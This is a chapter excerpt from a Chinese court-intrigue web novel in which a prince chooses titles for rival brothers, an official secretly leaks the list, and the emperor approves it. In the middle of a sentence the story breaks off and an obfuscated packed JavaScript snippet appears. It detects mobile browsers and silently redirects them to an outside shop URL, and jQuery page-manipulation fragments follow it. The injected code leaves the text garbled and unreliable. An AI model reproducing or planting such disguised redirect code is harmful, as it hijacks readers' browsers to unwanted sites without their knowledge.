“府里的柳嬷嬷是南边人,做糕点最是讲究。这桂花定要选半开未开的金桂,蜜要用她家乡特产的槐花蜜,说是如此方能留住桂花最本真的香气。”说完,她转向看向陈实,见他打算推辞,当即继续开口,“我在燕国数年,倒是品不来其中差别。太傅既懂得欣赏,这点心也算是得遇知音了。”
陈实闻言,推辞的话再难出口,旋即坦然拱手:“既是王爷所赐,老夫便却之不恭了。”
不多时,青雀提着食盒走了进来。
姜宁接过青雀手里的食盒,恭敬的递给陈实,再次开口:“太傅若是喜欢,日后府上所需,尽管遣人来取。”
“殿下厚爱,老夫心领。然而这点心,今日受此两匣,已是厚赐,实不敢再厚颜讨要。”陈实起身,接过姜宁手中的食盒,“老夫平日出入宫廷,为各位殿下讲书论经。若时常出入亲王府邸,往来传递,恐惹来不必要的目光,徒增纷扰。既于殿下清誉无益,亦非老夫所愿。”
姜宁收回手,了然一笑:“太傅思虑周详,是我唐突了。”
陈实向姜宁再行一礼,开口道:“殿下休沐时若无事,可来上书房走走。”
“姜望记下了。”
陈实再向姜宁行礼,转身向屋外走去。
姜宁送陈实走出王府,看着他上了马车,又向行远的马车躬身行礼,这才折返王府。
她吩咐了青雀几句,径直去了书房。
书房被打扫的一层不染,桌案上她随性誊抄的纸张被收拢在一边。
书房内烛火摇曳,映照着姜宁沉静的侧脸。她独坐于宽大的书案之后,拿出一张空白的宣纸铺在案上。
她提起狼毫,笔尖在砚池中饱蘸浓墨,却悬于纸上一寸之处,迟迟未落。
晟京成年皇子都未封王,不是不能封,是父皇不愿封。如今父皇刚封她为端王,后脚便要册封所有适龄皇子,还要她来拟定封号,足见是被逼无奈所行,却也要用这种方式来恶心他们。
姜宁又想起来云喜那句有关聂荣的提点,心下了然。
原来父皇想恶心的人是萧家。
是了。
萧家是皇后和太后的母族,父皇也是得力于萧家才得登宝座。如今他荣登大宝已久,又如何能忍受一个日渐庞大、处处掣肘的萧家?当年助他上位的从龙之功,如今已成了他龙椅下的尖刺。
封她这“贵妃之子”为端王,又让她去拟定中宫之子的封号,轻而易举,便可让陆家和萧家为了那个位置争斗不休。
父皇这是要借她的手,敲打萧家,也让其他蠢蠢欲动的势力看清楚,谁才是有最终裁定权的人。
好一招阳谋。
念及此,姜宁在纸上落笔。
墨迹在宣纸上洇开,落下一个“雍”字。
父皇要借她的手敲打萧家,她便顺势而为。但这棋盘既已摆开,落子之人,又岂能只有父皇一个?
21.第二十一章
姜宁刚踏入礼部,便径直去了俆砚修的尚书值房。
守在门外的长随垂手侍立,见到姜宁的身影,无声地躬身一礼,侧身轻轻推开了房门。
门内光线略显幽暗,四壁皆是极高的紫檀木书架。其上密密麻麻塞满了各色典籍、卷宗与礼器图录,书脊上的签题有些已泛黄陈旧,散发出混合着墨香、木香与淡淡防蛀药草的复杂气味。
徐砚修坐在屋内的紫檀木桌前,正执笔批阅文书。听见脚步声,他略一抬头,笔尖未停,只淡淡道:“王爷来得正好。”
案头香炉里青烟袅袅,在他眉宇间缠绕。他写完最后几个字,将笔搁在青玉笔托上,抬眸穿过袅袅香雾,落在了姜宁身上:“陛下将拟定皇子封号的重任托付王爷,如今一日已尽,王爷来此,是否心中已有了成算?”
姜宁点头,从容上前,将昨夜写好的封号递给俆砚修。
大皇子:雍。
三皇子:毅。
四皇子:贤。
五皇子:睿。
俆砚修的目光从几位皇子的封号上扫过,指尖落在了“雍”字上。
“‘雍’。《谥法解》曰:此为‘和’‘睦’‘德’之大成。”他独独将这个字念出了声,音调平缓,他抬起眼,目光如古井深潭,透过袅袅香雾落在姜宁脸上,“王爷为大殿下择此字,用心颇深。”
“父皇有命,不敢不从。”姜宁笑笑,声音多了几分懒意,“各位皇兄的封号,不过是照着他们的性子随手一写。大皇兄性情宽和,又是中宫嫡出,这个''雍''字,再合适不过。”
“三皇兄刚毅果决,四皇兄贤德仁厚,五皇兄聪慧明理。这些字,不都是照着他们的本性写的么?”她说着抬眼,唇边笑意不减,“更何况,我只是拟定,具体如何,自有父皇裁断。”
“王爷慧眼,体察入微。”俆砚修收回手,将姜宁的那张纸仔细折好,再次开口,“臣,会即刻呈报陛下。”
“劳烦徐尚书了。”
说完,她向俆砚修再行一礼,转身回了自己的值房。
等姜宁走了,俆砚修取过一张空白的公文用笺,将姜宁纸上的字誊抄了一遍。
最后一笔落下,他轻轻搁笔,将新抄录的那份拿起,待墨迹干透,这才冲着门外开口:“来人。”
守在门口的长随应声而入。
“交给萧侍郎,让他面呈陛下。”俆砚修头也不抬,指了指被他放在桌案前的那张公文用笺。
长随应声,将东西放到了萧楚的桌案前。
萧楚拿起那张筏纸,正见到“大皇子:雍”几个大字。
他目光微微一闪,几乎是在俆砚修长随离开的瞬间,便不假思索地重新铺开三张空白的公文筏纸,取过桌上的笔,低头誊抄起来。
他的动作流畅而迅速,不过片刻,三份一模一样的封号清单便已写好。
他轻轻吹干墨迹,将徐砚修交给他的那份原样折好,收入袖中。然后,他唤来两人,将其中两份分别装入标有不同印记的信函内。
两人接过信封,悄无声息地退下,身影很快消失在萧楚的视线中。
“一份送去了椒房殿,一份送去了慈宁宫。”最后一份,他拿在手中,另取了一个普通的信封装好,又叫来另一人,嘱咐道,“这一份,送到相府,亲手交给我阿爷。告诉他,孙儿已经在前去宫里的路上了。”
做完这一切,萧楚才整理了一下衣冠,朝着皇城方向而去。
宫道上。
萧楚步履从容,袖中那份徐砚修亲笔的封号清单,此刻仿佛带着一丝微灼的温度。
阿爷曾说过,在这权力的漩涡中,唯有将关键信息牢牢掌控,并适时将其化为己用,才能占据先机。
“雍”字在《谥法解》中代表“和”“睦”“德”之大成,这是一个近乎完美的褒义字。
陆起受封镇北王,贵妃和皇后在宫中一向针锋相对,她的孩儿,又岂会真心实意的给大皇子封号?
这根本不是什么美誉,而是裹着蜜糖的砒霜,是一把杀人不见血的刀。
其用意,至少有二。
一是捧杀。
将一个如此完美、近乎储君标准的封号扣在嫡长子头上,从此,他的一言一行都会被放大审视。他必须永远宽和,永远贤德,不能有一丝差错。否则,“德不配位”的言论便会如潮水般涌来。
二是树靶。
四皇子和大皇子明争暗斗多年,丽妃在宫中也是圣宠正浓。这“贤”也是一个极具分量的字,直接赋予了四皇子与“雍”字所代表的大皇子分庭抗礼的资格。她这是将大皇子做靶,借四皇子之力,驱虎吞狼。
看似被动,实则亲手在两位最势同水火的皇子间点燃了战火。从此,无论朝堂还是后宫,不论他们愿不愿意,都将被“雍”与“贤”的争斗所裹挟。
想通了这一层,萧楚只觉得袖中那张纸的温度,变得更加灼人。
这位归来的七皇子,果然不可小觑。
他抬头,望向两侧巍峨绵延的宫墙。
皇帝会如何看待这份名单?
是看穿这位七皇子的用心而默许,以此敲打萧家,任由两位皇子争斗;还是勃然大怒,认为其心思深重,直接驳回?
就在萧楚这么想着的时候,御书房已经近在眼前。
萧楚走到那守在店外的内侍跟前,开口道:“公公,我奉尚书之命,前来呈送陛下前几日让礼部拟订的皇子封号。”
“大人稍候。”内侍开口,随即转身,悄无声息地推开那扇沉重的殿门侧身而入。
不多时,云喜便迎了出来。
“萧侍郎,陛下正在批阅奏折,请随咱家来。”云喜面带微笑,侧身让开通路,做了一个“请”的手势。
萧楚颔首:“有劳云公公。”
他正了正衣冠,这才跟着云喜迈步而入。
龙涎香的气味混杂着暖意扑面而来,萧楚的脑袋一时有些发晕。
御案后,朱笔批阅奏折的沙沙声并未停歇。那声音极轻,细碎绵密,在此刻听来,却让萧楚心头发紧。
他连忙垂下眼睑,只盯着脚下光可鉴人的金砖地面,向前走了数步,在一个恰到好处的距离停下,躬身行礼,开口道:“臣,礼部侍郎萧楚,叩见陛下。”
沉默在浓郁的香气里蔓延,每一瞬都被拉得极长。
萧楚维持着躬身的姿势,能感觉到自己的心跳一下下撞击着胸腔。
终于,那沙沙声停了。
“平身吧。” 姜夔将手里的奏折放到一边,又拿起一份新的奏折,头也不抬道,“是礼部的封号拟出来了?”
“是。” 萧楚应声,将俆砚修
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724951|188024||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
给他的公文筏纸呈上,“奉陛下旨意,已为几位皇子初步拟定了封号,恭呈御览。”
云喜悄步上前,双手接过筏纸,转身恭敬地置于御案之上。
姜夔并未立刻去看那名单,而是继续批阅着手里的奏折。
良久,他才放下朱笔,将目光落在了那张纸上。
他伸出手,将那张纸拿起。
萧楚用余光谨慎地观察着,却在眼前这位皇帝的脸上看不出喜怒。
突然,姜夔轻笑了一声。
“雍王,贤王。”姜夔的手指轻轻敲击着桌面,声音平缓,听不出情绪,“老七倒是用心。”
他抬起眼,目光如古井深潭,落在萧楚身上:“萧爱卿,你觉得这两个字,赐给朕的皇长子与四子,如何?”
来了!
萧楚心头一震。
陛下这是在试探他?还是在试探萧家?
他不能表现得全然无知,那会显得无能;也不能尽数道破,那会显得过于精明,引火烧身。
他略一躬身,措辞谨慎:“回陛下,王爷所拟封号,引经据典,用心颇为考究。‘雍’字寓意祥和,德被四方,用于嫡长子,彰显陛下对其殷切期望;‘贤’字则褒奖四殿下才德出众,皆为美意。”
“你倒是会夸人。”
姜夔冷笑一声,冲萧楚摆摆手,示意他退下。
等萧楚走了,姜夔这才看向云喜,开口道:“云喜,你觉得呢?”
云喜向姜夔微微福身,略微沉默后,这才开口:“王爷引经据典,所拟之字,字意高华。足见王爷学问精深,对二位皇兄亦是敬重有加。此乃陛下之福,天家之幸。”
一番话,说得滴水不漏,只谈字面,不论深意。
姜夔看着他,嘴角似乎勾起一抹极淡的弧度,像是嘲讽,又像是了然。
“敬重有加?”皇帝重复了一遍这四个字,语气微妙,“是啊,确实是‘敬重’。他将老大捧得如此之高,又将老四架得如此之显,是想看看,朕这两个儿子,谁更能承其重吗?”
云喜默了默,不敢接话。
“老七离晟多年,倒是长进了不少,懂得‘借势’了。”姜夔将手里的纸随手丢回御案上,身体向后靠在龙椅里,语气逐渐深沉,“云喜,你觉得,他这势借得如何?”
云喜心头一紧,知道这问题避无可避。
他斟酌着词语,声音愈发恭谨:“七殿下此举,无论初衷为何,面上……总是挑不出错的。”
“面上挑不出错。”姜夔轻轻哼了一声,听不出是赞许还是讥讽,“这才是最高明之处。”
“拟旨吧,就按这份名单。”姜夔开口,语气恢复了平常的淡漠,在纸张上用朱红色御笔写下一个“准”字,“告诉礼部,尽快操办册封典礼。”
“遵旨。”云喜双手接过那仿佛有千钧重的纸张。
他退出御书房,暖阳阳的日光洒在琉璃瓦上,反射出冰冷的光泽。
七皇子的这一手,不仅是在挑动两位皇子相争,更是在试探龙椅上那位陛下的底线与心意。而皇帝用一纸朱批,给出了最残酷,也最真实的回应——他默许了这场争斗,甚至亲手添上了柴火。
宫墙巍峨,权力之局已然布下。
七皇子落下一子,而皇帝,则将这盘棋彻底推向了不可逆转的方向。